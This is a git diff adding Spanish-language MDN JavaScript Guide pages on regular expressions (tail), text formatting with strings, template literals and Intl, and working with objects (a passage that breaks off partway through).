+<p>El evento <code>Change</code> activado cuando el usuario presiona <kbd>Enter</kbd> establece el valor de <code>RegExp.input</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Ingresa tu número de teléfono (con el código de área) y luego haz clic en "Comprobar".
+  &lt;br&gt;
+  El formato esperado es como ###-###-####.
+&lt;/p&gt;
+&lt;form action="#"&gt;
+  &lt;input id="phone"&gt;
+    &lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Comprobar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
+function testInfo(phoneInput) {
+  var OK = re.exec(phoneInput.value);
+  if (!OK) {
+    console.error(phoneInput.value + ' isn\'t a phone number with area code!');
+  } else {
+    console.log('Gracias, tu número de teléfono es ' + OK[0]);}
+} </pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<div>
+<p>{{ EmbedLiveSample('Using_special_characters_to_verify_input', '', '', '', 'Web/JavaScript/Guide/Regular_Expressions') }}</p>
+
+<h2 id="Herramientas">Herramientas</h2>
+
+<dl>
+ <dt><a href="https://regex101.com/" rel="noopener">Probador de expresiones regulares</a></dt>
+ <dd>Un constructor/depurador de expresiones regulares en línea</dd>
+ <dt><a href="https://extendsclass.com/regex-tester.html" rel="noopener">Visualizador de expresiones regulares</a></dt>
+ <dd>Un probador de expresiones regulares visual en línea.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.RegExp")}}</p>
+</div>
+</div>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</div>
diff --git a/files/es/web/javascript/guide/text_formatting/index.html b/files/es/web/javascript/guide/text_formatting/index.html
new file mode 100644
index 0000000000..63a866024b
--- /dev/null
+++ b/files/es/web/javascript/guide/text_formatting/index.html
@@ -0,0 +1,254 @@
+---
+title: Formato de texto
+slug: Web/JavaScript/Guide/Text_formatting
+tags:
+  - Guía
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Text_formatting
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
+
+<p class="summary">Este capítulo presenta cómo trabajar con cadenas de caracteres (<code>String</code>) y texto en JavaScript.</p>
+
+<h2 id="Cadenas_de_caracteres_String">Cadenas de caracteres (<code>String</code>)</h2>
+
+<p>El tipo {{Glossary("String")}} de JavaScript se utiliza para representar datos textuales. Es un conjunto de "elementos" de valores enteros sin signo de 16 bits (unidades de código UTF-16). Cada elemento de la cadena de caracteres ocupa una posición en la cadena. El primer elemento está en el índice 0, el siguiente en el índice 1, y así sucesivamente. La longitud de una cadena es el número de elementos que contiene. Puedes crear cadenas utilizando cadena literales u objetos <strong>string</strong>.</p>
+
+<div class="hidden">PRECAUCIÓN: si editas esta página, no incluyas ningún caracter por encima de U+FFFF, hasta que se solucione el ({{bug(857438)}} de MDN).</div>
+
+<h3 id="Cadenas_literales">Cadenas literales</h3>
+
+<p>Puedes crear cadenas simples utilizando comillas simples o dobles:</p>
+
+<pre class="brush: js notranslate">'foo'
+"bar"</pre>
+
+<p>Se pueden crear cadenas más avanzadas usando secuencias de escape:</p>
+
+<h4 id="Secuencias_de_escape_hexadecimales">Secuencias de escape hexadecimales</h4>
+
+<p>El número después de \x se interpreta como un número del {{Interwiki("wikipedia", "Sistema_hexadecimal")}}.</p>
+
+<pre class="brush: js notranslate">'\xA9' // "©"
+</pre>
+
+<h4 id="Secuencias_de_escape_Unicode">Secuencias de escape Unicode</h4>
+
+<p>Las secuencias de escape Unicode requieren al menos cuatro dígitos hexadecimales después de <code>\u</code>.</p>
+
+<pre class="brush: js notranslate">'\u00A9' // "©"</pre>
+
+<h4 id="Puntos_de_escape_de_código_Unicode">Puntos de escape de código Unicode</h4>
+
+<p>Nuevo en ECMAScript 2015. Con el código de puntos de escape Unicode, cualquier carácter se puede escapar usando números hexadecimales para que sea posible usar puntos de código Unicode hasta <code>0x10FFFF</code>. Con simples escapes Unicode, a menudo es necesario escribir las mitades sustitutas por separado para lograr el mismo resultado.</p>
+
+<p>Consulta también {{JSxRef("String.fromCodePoint()")}} o {{JSxRef("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u{2F804}'
+
+// lo mismo con los escapes Unicode simples
+'\uD87E\uDC04'</pre>
+
+<h3 id="Objetos_String">Objetos <code>String</code></h3>
+
+<p>El objeto {{JSxRef("String")}} es una envoltura alrededor del tipo de dato primitivo <code>string</code>.</p>
+
+<pre class="brush: js notranslate">const foo = new String('foo'); // Crea un objeto String
+console.log(foo);              // Muestra: <span><span>[String: 'foo']</span></span>
+typeof foo;                    // Devuelve 'object'
+</pre>
+
+<p>Puedes llamar a cualquiera de los métodos del objeto <code>String</code> en un valor de cadena literal: JavaScript automáticamente convierte la cadena literal en un objeto <code>String</code> temporal, llama al método y luego descarta el objeto <code>String</code> temporal. También puedes usar la propiedad <code>String.length</code> con una cadena literal:</p>
+
+<p>Debes usar cadenas literales a menos que necesites específicamente usar un objeto <code>String</code>, porque los objetos <code>String</code> pueden tener un comportamiento contrario a la intuición. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">const firstString = '2 + 2';              // Crea un valor de cadena literal
+const secondString = new String('2 + 2'); // Crea un objeto String
+eval(firstString);                        // Devuelve el número 4
+eval(secondString);                       // Devuelve la cadena "2 + 2"</pre>
+
+<p>Un objeto <code>String</code> tiene una propiedad, <code>length</code>, que indica el número de unidades de código UTF-16 en la cadena. Por ejemplo, el siguiente código asigna a <code>helloLength</code> el valor 13, porque "¡Hola, mundo!" tiene 13 caracteres, cada uno representado por una unidad de código UTF-16. Puedes acceder a cada unidad de código utilizando la notación de corchete de los arreglos. No puedes cambiar caracteres individuales porque las cadenas son objetos inmutables similares a los arreglos:</p>
+
+<pre class="brush: js notranslate">const hello = '¡Hola, mundo!';
+const helloLength = hello.length;
+hello[0] = 'L'; // Esto no tiene ningún efecto, porque las cadenas son inmutables
+hello[1];       // Esto devuelve "H"
+</pre>
+
+<p>Los caracteres cuyos valores escalares Unicode son mayores que U+FFFF (tal como algunos caracteres chinos/japoneses/coreanos/vietnamitas raros y algunos «emoji»s) se almacenan en UTF-16 con dos unidades de código sustituto cada uno. Por ejemplo, una cadena que contenga el caracter único U+1F600 "Cara sonriente de emoji" tendrá una longitud de 2. El acceso a las unidades de código individual en una cadena de este tipo utilizando corchetes puede tener consecuencias indeseables, como la formación de cadenas con diferentes unidades de código suplente, violando el estándar Unicode. (Se deben agregar ejemplos a esta página después de que se corrija el error MDN {{bug(857438)}}). Consulta también {{JSxRef("String.fromCodePoint()")}} o {{JSxRef("String.prototype.codePointAt()")}}.</p>
+
+<p>Un objeto <code>String</code> tiene una variedad de métodos: por ejemplo, aquellos que devuelven una variación de la cadena en sí, como <code>substring</code> y <code>toUpperCase</code>.</p>
+
+<p>La siguiente tabla resume los métodos de los objetos {{JSxRef("String")}}.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="Métodos_de_String">Métodos de <code>String</code></h4>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Método</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("String.charAt", "charAt")}}, {{JSxRef("String.charCodeAt", "charCodeAt")}}, {{JSxRef("String.codePointAt", "codePointAt")}}</td>
+   <td>Devuelve el caracter o código de caracter en la posición especificada en la cadena.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.indexOf", "indexOf")}}, {{JSxRef("String.lastIndexOf", "lastIndexOf")}}</td>
+   <td>Devuelve la posición de la subcadena especificada en la cadena o la última posición de la subcadena especificada, respectivamente.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.startsWith", "startsWith")}}, {{JSxRef("String.endsWith", "endsWith")}}, {{JSxRef("String.includes", "includes")}}</td>
+   <td>Devuelve si o no la cadena comienza, termina o contiene una subcadena especificada.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.concat", "concat")}}</td>
+   <td>Combina el texto de dos cadenas y devuelve una nueva cadena.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.fromCharCode", "fromCharCode")}}, {{JSxRef("String.fromCodePoint", "fromCodePoint")}}</td>
+   <td>Construye una cadena a partir de la secuencia especificada de valores Unicode. Este es un método de la clase <code>String</code>, no una instancia de <code>String</code>.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.split", "split")}}</td>
+   <td>Divide un objeto <code>String</code> en un arreglo de cadenas separando la cadena en subcadenas.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.slice", "slice")}}</td>
+   <td>Extrae una sección de una cadena y devuelve una nueva cadena.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.substring", "substring")}}, {{JSxRef("String.substr", "substr")}}</td>
+   <td>Devuelve el subconjunto especificado de la cadena, ya sea especificando los índices inicial y final o el índice inicial y una longitud.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.match", "match")}}, {{JSxRef("String.matchAll", "matchAll")}}, {{JSxRef("String.replace", "replace")}}, {{JSxRef("String.replaceAll", "replaceAll")}}, {{JSxRef("String.search", "search")}}</td>
+   <td>Trabaja con expresiones regulares.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.toLowerCase", "toLowerCase")}}, {{JSxRef("String.toUpperCase", "toUpperCase")}}</td>
+   <td>
+    <p>Devuelve la cadena en minúsculas o mayúsculas, respectivamente.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.normalize", "normalize")}}</td>
+   <td>Devuelve la forma de normalización Unicode del valor de la cadena llamada.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.repeat", "repeat")}}</td>
+   <td>Devuelve una cadena que consta de los elementos del objeto repetidos las veces indicadas.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("String.trim", "trim")}}</td>
+   <td>Recorta los espacios en blanco desde el principio y el final de la cadena.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Plantillas_literales_multilínea">Plantillas literales multilínea</h3>
+
+<p>Las {{JSxRef("template_strings", "plantillas literales")}} son cadena literales que permiten expresiones incrustadas. Puedes utilizar cadenas de varias líneas y funciones de interpolación de cadenas con ellas.</p>
+
+<p>Las plantillas literales están encerradas por el carácter (<code>``</code>) ({{Interwiki("wikipedia", "Acento_grave", "acento grave")}}) en lugar de comillas simples o dobles. Las plantillas literales pueden contener marcadores de posición. Estos se indican mediante el signo de dólar y llaves (<code>${expresión}</code>).</p>
+
+<h4 id="Multilíneas">Multilíneas</h4>
+
+<p>Cualquier caracter de nueva línea insertado en la fuente es parte de la plantilla literal. Usando cadenas normales, tendrías que usar la siguiente sintaxis para obtener cadenas multilínea:</p>
+
+<pre class="brush: js notranslate">console.log('cadena de texto línea 1\n\
+cadena de texto línea 2');
+// "cadena de texto línea 1
+// cadena de texto línea 2"</pre>
+
+<p>Para obtener el mismo efecto con cadenas multilínea, ahora puedes escribir:</p>
+
+<pre class="brush: js notranslate">console.log(`cadena de texto línea 1
+cadena de texto línea 2`);
+// "cadena de texto línea 1
+// cadena de texto línea 2"</pre>
+
+<h4 id="Expresiones_incrustadas">Expresiones incrustadas</h4>
+
+<p>Para incrustar expresiones dentro de cadenas normales, usarías la siguiente sintaxis:</p>
+
+<pre class="brush: js notranslate">const five = 5;
+const ten = 10;
+console.log('Quince es ' + (five + ten) + ' y no ' + (2 * five + ten) + '.');
+// "Quince es 15 y no 20."</pre>
+
+<p>Ahora, con las plantillas literales, puedes hacer uso del azúcar sintáctica haciendo que las sustituciones como esta sean más legibles:</p>
+
+<pre class="brush: js notranslate">const five = 5;
+const ten = 10;
+console.log (`Quince es ${five + ten} y no ${2 * five + ten}.`);
+// "Quince es 15 y no 20."</pre>
+
+<p>Para obtener más información, lee acerca de {{JSxRef("template_strings", "plantillas literales")}} en la {{JSxRef("../Referencia", "Referencia de JavaScript")}}.</p>
+
+<h2 id="Internacionalización">Internacionalización</h2>
+
+<p>El objeto {{JSxRef("Intl")}} es el espacio de nombres para la API de internacionalización de ECMAScript, que proporciona comparación de cadenas sensible al idioma, formato de números y formato de fecha y hora. Los constructores de los objetos {{JSxRef("Collator")}}, {{JSxRef("NumberFormat")}} y {{JSxRef("DateTimeFormat")}} son propiedades del objeto <code>Intl</code>.</p>
+
+<h3 id="Formato_de_fecha_y_hora">Formato de fecha y hora</h3>
+
+<p>El objeto {{JSxRef("DateTimeFormat")}} es útil para formatear la fecha y la hora. El siguiente formato es una fecha para el Inglés como se usa en los Estados Unidos. (El resultado es diferente en otra zona horaria).</p>
+
+<pre class="brush: js notranslate">const msPerDay = 24 * 60 * 60 * 1000;
+
+// July 17, 2014 00:00:00 UTC.
+const july172014 = new Date(msPerDay * (44 * 365 + 11 + 197));
+
+const options = { year: '2-digit', month: '2-digit', day: '2-digit',
+                hour: '2-digit', minute: '2-digit', timeZoneName: 'short' };
+const americanDateTime = new Intl.DateTimeFormat('en-US', options).format;
+
+console.log(americanDateTime(july172014)); // 07/16/14, 5:00 PM PDT
+</pre>
+
+<h3 id="Formato_de_número">Formato de número</h3>
+
+<p>El objeto {{JSxRef("NumberFormat")}} es útil para formatear números, por ejemplo, monedas.</p>
+
+<pre class="brush: js notranslate">const gasPrice = new Intl.NumberFormat('en-US',
+                        { style: 'currency', currency: 'USD',
+                          minimumFractionDigits: 3 });
+
+console.log(gasPrice.format(5.259)); // $5.259
+
+const hanDecimalRMBInChina = new Intl.NumberFormat('zh-CN-u-nu-hanidec',
+                        { style: 'currency', currency: 'CNY' });
+
+console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五
+</pre>
+
+<h3 id="Colación">Colación</h3>
+
+<p>El objeto {{JSxRef("Collator")}} es útil para comparar y ordenar cadenas.</p>
+
+<p>Por ejemplo, en realidad hay dos órdenes de clasificación diferentes en Alemán, «<em>phonebook</em>» y «<em>dictionary</em>». La clasificación «<em>phonebook</em>» enfatiza el sonido, y es como si "ä", "ö", etc. se expandieran a "ae", "oe", etc. antes de la clasificación.</p>
+
+<pre class="brush: js notranslate">const names = ['Hochberg', 'Hönigswald', 'Holzman'];
+
+const germanPhonebook = new Intl.Collator('de-DE-u-co-phonebk');
+
+// como ordenando ["Hochberg", "Hoenigswald", "Holzman"]:
+console.log(names.sort(germanPhonebook.compare).join(', '));
+// registra "Hochberg, Hönigswald, Holzman"
+</pre>
+
+<p>Algunas palabras alemanas se conjugan con diéresis adicionales, por lo que en los diccionarios es sensato ordenar ignorando diéresis (excepto cuando se ordenan palabras que difieren <em>solo</em> por las diéresis: «<em>schon</em>» antes de «<em>schön</em>»).</p>
+
+<pre class="brush: js notranslate">const germanDictionary = new Intl.Collator('de-DE-u-co-dict');
+
+// como si ordenara ["Hochberg", "Honigswald", "Holzman"]:
+console.log(names.sort(germanDictionary.compare).join(', '));
+// registra "Hochberg, Holzman, Hönigswald"
+</pre>
+
+<p>Para obtener más información sobre la API de {{JSxRef("Intl")}}, consulta también la <a href="https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/">Introducción a la API de internacionalización de JavaScript</a>.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
diff --git a/files/es/web/javascript/guide/trabajando_con_objectos/index.html b/files/es/web/javascript/guide/trabajando_con_objectos/index.html
new file mode 100644
index 0000000000..84a9854d9a
--- /dev/null
+++ b/files/es/web/javascript/guide/trabajando_con_objectos/index.html
@@ -0,0 +1,493 @@
+---
+title: Trabajando con objetos
+slug: Web/JavaScript/Guide/Trabajando_con_objectos
+tags:
+  - Comparación de objetos
+  - Constructor
+  - Documento
+  - Guía
+  - JavaScript
+  - Objeto
+  - Principiante
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<div>{{jsSidebar("Guía de JavaScript")}} {{PreviousNext("Web/JavaScript/Guide/Keyed_collections", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div>
+
+<p class="summary">JavaScript está diseñado en un paradigma simple basado en objetos. Un objeto es una colección de propiedades, y una propiedad es una asociación entre un nombre (o <em>clave</em>) y un valor. El valor de una propiedad puede ser una función, en cuyo caso la propiedad es conocida como un método. Además de los objetos que están predefinidos en el navegador, puedes definir tus propios objetos. Este capítulo describe cómo usar objetos, propiedades, funciones y métodos; y cómo crear tus propios objectos.</p>
+
+<h2 id="Visión_general_sobre_Objetos">Visión general sobre Objetos</h2>
+
+<p>Los objetos en JavaScript, como en tantos otros lenguajes de programación, se pueden comparar con objetos de la vida real. El concepto de Objetos en JavaScript se puede entender con objetos tangibles de la vida real.</p>
+
+<p>En JavaScript, un objeto es un entidad independiente con propiedades y tipos. Compáralo con una taza, por ejemplo. Una taza es un objeto con propiedades. Una taza tiene un color, un diseño, un peso, un material del que está hecha, etc. Del mismo modo, los objetos de JavaScript pueden tener propiedades que definan sus características.</p>
+
+<h2 id="Objetos_y_propiedades">Objetos y propiedades</h2>
+
+<p>Un objeto de JavaScript tiene propiedades asociadas a él. Una propiedad de un objeto se puede explicar como una variable adjunta al objeto. Las propiedades de un objeto básicamente son lo mismo que las variables comunes de JavaScript, excepto por el nexo con el objeto. Las propiedades de un objeto definen las características del objeto. Accedes a las propiedades de un objeto con una simple notación de puntos:</p>
+
+<pre class="brush: js notranslate">objectName.propertyName
+</pre>
+
+<p>Como todas las <code>variables</code> de JavaScript, tanto el nombre del objeto (que puede ser una variable normal) como el nombre de la propiedad son sensibles a mayúsculas y minúsculas. Puedes definir propiedades asignándoles un valor. Por ejemplo, vamos a crear un objeto llamado <code>myCar</code> y le vamos a asignar propiedades denominadas <code>make</code>, <code>model</code>, y <code>year</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var myCar = new Object();
+myCar.make = 'Ford';
+myCar.model = 'Mustang';
+myCar.year = 1969;
+</pre>
+
+<p>El ejemplo anterior también se podría escribir usando un <strong><a href="/es/docs/Web/JavaScript/Guide/Working_with_Objects#Object_initializers">iniciador de objeto</a></strong>, que es una lista delimitada por comas de cero o más pares de nombres de propiedad y valores asociados de un objeto, encerrados entre llaves (<code>{}</code>):</p>
+
+<pre class="brush: js notranslate">var myCar = {
+    make: 'Ford',
+    model: 'Mustang',
+    year: 1969
+};
+</pre>
+
+<p>Las propiedades no asignadas de un objeto son {{jsxref("undefined")}} (y​no {{jsxref("null")}}).</p>
+
+<pre class="brush: js notranslate">myCar.color; // undefined</pre>
+
+<p>También puedes acceder o establecer las propiedades de los objetos en JavaScript mediante la notación de corchetes ↑[]↓ (Para más detalle ve <a href="/es/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Accesores de propiedades</a>). Los objetos, a veces son llamados <em>arreglos asociativos</em>, debido a que cada propiedad está asociada con un valor de cadena que se puede utilizar para acceder a ella. Por lo tanto, por ejemplo, puedes acceder a las propiedades del objeto <code>myCar</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">myCar['make']  = 'Ford';
+myCar['model'] = 'Mustang';
+myCar['year']  = 1969;
+</pre>
+
+<p>El nombre de la propiedad de un objeto puede ser cualquier cadena válida de JavaScript, o cualquier cosa que se pueda convertir en una cadena, incluyendo una cadena vacía. Sin embargo, cualquier nombre de propiedad que no sea un identificador válido de JavaScript (por ejemplo, el nombre de alguna propiedad que tenga un espacio o un guión, o comience con un número) solo se puede acceder utilizando la notación de corchetes. Esta notación es muy útil también cuando los nombres de propiedades son determinados dinámicamente (cuando el nombre de la propiedad no se determina hasta el tiempo de ejecución). Ejemplos de esto se muestran a continuación:</p>
+
+<pre class="brush: js notranslate">// Se crean y asignan cuatro variables de una sola vez,
+// separadas por comas
+var myObj = new Object(),
+    str = 'myString',
+    rand = Math.random(),
+    obj = new Object();
+
+myObj.type                 = 'Sintaxis de puntos';
+myObj['fecha de creación'] = 'Cadena con espacios';
+myObj[str]                 = 'Valor de cadena';
+myObj[rand]                = 'Número aleatorio';
+myObj[obj]                 = 'Object';
+myObj['']                  = 'Incluso una cadena vacía';
+
+console.log(myObj);
+</pre>
+
+<p>Por favor, ten en cuenta que todas las claves con notación en corchetes se convierten a cadenas a menos que estas sean símbolos, ya que los nombres de las propiedades (claves) en Javascript pueden solo pueden ser cadenas o símbolos (en algún momento, los nombres privados también serán agregados a medida que progrese la <a href="https://github.com/tc39/proposal-class-fields">propuesta de los campos de clase</a>, pero no las usarás con el formato <code>[]</code>). Por ejemplo, en el código anterior, cuando la clave <code>obj</code> se añadió a <code>myObj</code>, Javascript llamará al método {{jsxref("Object.toString", "obj.toString()")}}, y usará la cadena resultante de esta llamada como la nueva clave.</p>
+
+<p>También puedes acceder a las propiedades mediante el uso de un valor de cadena que se almacena en una variable:</p>
+
+<pre class="brush: js notranslate">var propertyName = 'make';
+myCar[propertyName] = 'Ford';
+
+propertyName = 'model';
+myCar[propertyName] = 'Mustang';
+</pre>
+
+<p>Puedes usar la notación de corchetes con <code><a href="/es/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> para iterar sobre todas las propiedades enumerables de un objeto. Para ilustrar cómo funciona esto, la siguiente función muestra las propiedades del objeto cuando pasas el objeto y el nombre del objeto como argumentos a la función:</p>
+
+<pre class="brush: js notranslate">function showProps(obj, objName) {
+  var result = ``;
+  for (var i in obj) {
+    // obj.hasOwnProperty() se usa para filtrar propiedades de la cadena de prototipos del objeto
+    if (obj.hasOwnProperty(i)) {
+      result += `${objName}.${i} = ${obj[i]}\n`;
+    }
+  }
+  return result;
+}
+</pre>
+
+<p>Por lo tanto, la llamada a la función <code>showProps(myCar, "myCar")</code> devolverá lo siguiente:</p>
+
+<pre class="brush: js notranslate">myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969</pre>
+
+<h2 id="Enumerar_las_propiedades_de_un_objeto">Enumerar las propiedades de un objeto</h2>
+
+<p>A partir de <a href="/es/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla" title="/es/docs/JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5</a>, hay tres formas nativas para enumerar/recorrer las propiedades de objetos:</p>
+
+<ul>
+ <li><code><a href="/es/docs/Web/JavaScript/Reference/Statements/for...in" title="/es/docs/JavaScript/Reference/Statements/for...in">bucles for...in</a></code><br>
+  Este método recorre todas las propiedades enumerables de un objeto y su cadena de prototipos</li>
+ <li>{{jsxref("Object.keys", "Object.keys(o)")}}<br>
+  Este método devuelve un arreglo con todos los nombres de propiedades enumerables ("<code>claves</code>") propias (no en la cadena de prototipos) de un objeto <code>o</code>.</li>
+ <li>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}}<br>
+  Este método devuelve un arreglo que contiene todos los nombres (enumerables o no) de las propiedades de un objeto <code>o</code>.</li>
+</ul>
+
+<p>Antes de ECMAScript 5, no existía una manera nativa para enumerar todas las propiedades de un objeto. Sin embargo, esto se puede lograr con la siguiente función:</p>
+
+<pre class="brush: js notranslate">function listAllProperties(o) {
+       var objectToInspect;
+       var result = [];
+
+       for(objectToInspect = o; objectToInspect !== null;
+           objectToInspect = Object.getPrototypeOf(objectToInspect)) {
+        result = result.concat(
+            Object.getOwnPropertyNames(objectToInspect)
+        );
+    }
+
+        return result;
+}
+</pre>
+
+<p>Esto puede ser útil para revelar propiedades "ocultas" (propiedades de la cadena de prototipos a las que no se puede acceder a través del objeto, porque otra propiedad tiene el mismo nombre en la cadena de prototipos). Enumerar las propiedades accesibles solo es posible eliminando los duplicados en el arreglo.</p>
+
+<h2 id="Creación_de_nuevos_objetos">Creación de nuevos objetos</h2>
+
+<p>JavaScript tiene una colección de objetos predefinidos. Además, puedes crear tus propios objetos. En JavaScript 1.2 y versiones posteriores, puedes crear un objeto usando un <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer">iniciador de objeto</a>. Como alternativa, puedes crear primero una función constructora y luego crear una instancia de un objeto invocando esa función con el operador <code>new</code>.</p>
+
+<h3 id="Uso_de_iniciadores_de_objeto"><span id="Object_initializers">Uso de iniciadores de objeto</span></h3>
+
+<p>Además de la creación de objetos utilizando una función constructora, puedes crear objetos utilizando un <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer">iniciador de objeto</a>. El uso de iniciadores de objetos a veces se denomina crear objetos con notación literal. "Iniciador de objeto" es consistente con la terminología utilizada por C++.</p>
+
+<p>La sintaxis para un objeto usando un iniciador de objeto es:</p>
+
+<pre class="brush: js notranslate">var obj = { property_1:   value_1,   // property_# puede ser un identificador...
+            2:            value_2,   // o un número...
+            // ...,
+            'property n': value_n }; // o una cadena
+</pre>
+
+<p>donde <code>obj</code> es el nombre del nuevo objeto, cada <code>property_<var>i</var></code> es un identificador (ya sea un nombre, un número o una cadena literal), y cada <code>value_<var>i</var></code> es una expresión cuyo valor se asigna a la <code>property_<var>i</var></code>. El <code>obj</code> y la asignación es opcional; si no necesitas hacer referencia a este objeto desde otro lugar, no necesitas asignarlo a una variable. (Ten en cuenta que tal vez necesites envolver el objeto literal entre paréntesis si el objeto aparece donde se espera una declaración, a fin de no confundir el literal con una declaración de bloque).</p>
+
+<p>Los iniciadores de objetos son expresiones, y cada iniciador de objeto da como resultado un nuevo objeto donde la instrucción de creación sea ejecutada. Los iniciadores de objetos idénticos crean objetos distintos que no se compararán entre sí como iguales. Los objetos se crean como si se hiciera una llamada a <code>new Object()</code>; es decir, los objetos hechos a partir de expresiones literales de objeto son instancias de <code>Object</code>.</p>
+
+<p>La siguiente declaración crea un objeto y lo asigna a la variable <code>x</code> si y solo si la expresión <code>cond</code> es <code>true</code>.</p>
+
+<pre class="brush: js notranslate">if (cond) var x = {greeting: '¡Hola!'};
+</pre>
+
+<p>El siguiente ejemplo crea <code>myHonda</code> con tres propiedades. Observa que la propiedad <code>engine</code> también es un objeto con sus propias propiedades.</p>
+
+<pre class="brush: js notranslate">var myHonda = {color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}};
+</pre>
+
+<p>También puedes utilizar iniciadores de objetos para crear arreglos. Consulta <a href="/es/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals">arreglos literales</a>.</p>
+
+<h3 id="Usar_una_función_constructora">Usar una función constructora</h3>
+
+<p>Como alternativa, puedes crear un objeto con estos dos pasos:</p>
+
+<ol>
+ <li>Definir el tipo de objeto escribiendo una función constructora. Existe una fuerte convención, con buena razón, para utilizar en mayúscula la letra inicial.</li>
+ <li>Crear una instancia del objeto con el operador <code>new</code>.</li>
+</ol>
+
+<p>Para definir un tipo de objeto, crea una función para el objeto que especifique su nombre, propiedades y métodos. Por ejemplo, supongamos que deseas crear un tipo de objeto para coches. Quieres llamar <code>Car</code> a este tipo de objeto, y deseas que tenga las siguientes propiedades: <code>make</code>, <code>model</code> y <code>year</code>. Para ello, podrías escribir la siguiente función:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>Observa el uso de <code>this</code> para asignar valores a las propiedades del objeto en función de los valores pasados a la función.</p>
+
+<p>Ahora puedes crear un objeto llamado <code>myCar</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var mycar = new Car('Eagle', 'Talon TSi', 1993);
+</pre>
+
+<p>Esta declaración crea <code>myCar</code> y le asigna los valores especificados a sus propiedades. Entonces el valor de <code>myCar.make</code> es la cadena "Eagle", para <code>myCar.year</code> es el número entero 1993, y así sucesivamente.</p>
+
+<p>Puedes crear cualquier número de objetos <code>Car</code> con las llamadas a <code>new</code>. Por ejemplo,</p>
+
+<pre class="brush: js notranslate">var kenscar = new Car('Nissan', '300ZX', 1992);
+var vpgscar = new Car('Mazda', 'Miata', 1990);
+</pre>
+
+<p>&lt;s0&gt;Un objeto puede tener una propiedad que en sí misma es otro objeto. Por ejemplo, supongamos que defines un objeto llamado <code>person</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>y luego instancias dos nuevos objetos <code>person</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var rand = new Person('Rand McKinnon', 33, 'M');
+var ken = new Person('Ken Jones', 39, 'M');
+</pre>
+
+<p>Entonces, puedes volver a escribir la definición de <code>Car</code> para incluir una propiedad <code>owner</code> que tomará el objeto <code>person</code>, de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>Para crear instancias de los nuevos objetos, utiliza lo siguiente:</p>
+
+<pre class="brush: js notranslate">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
+var car2 = new Car('Nissan', '300ZX', 1992, ken);
+</pre>
+
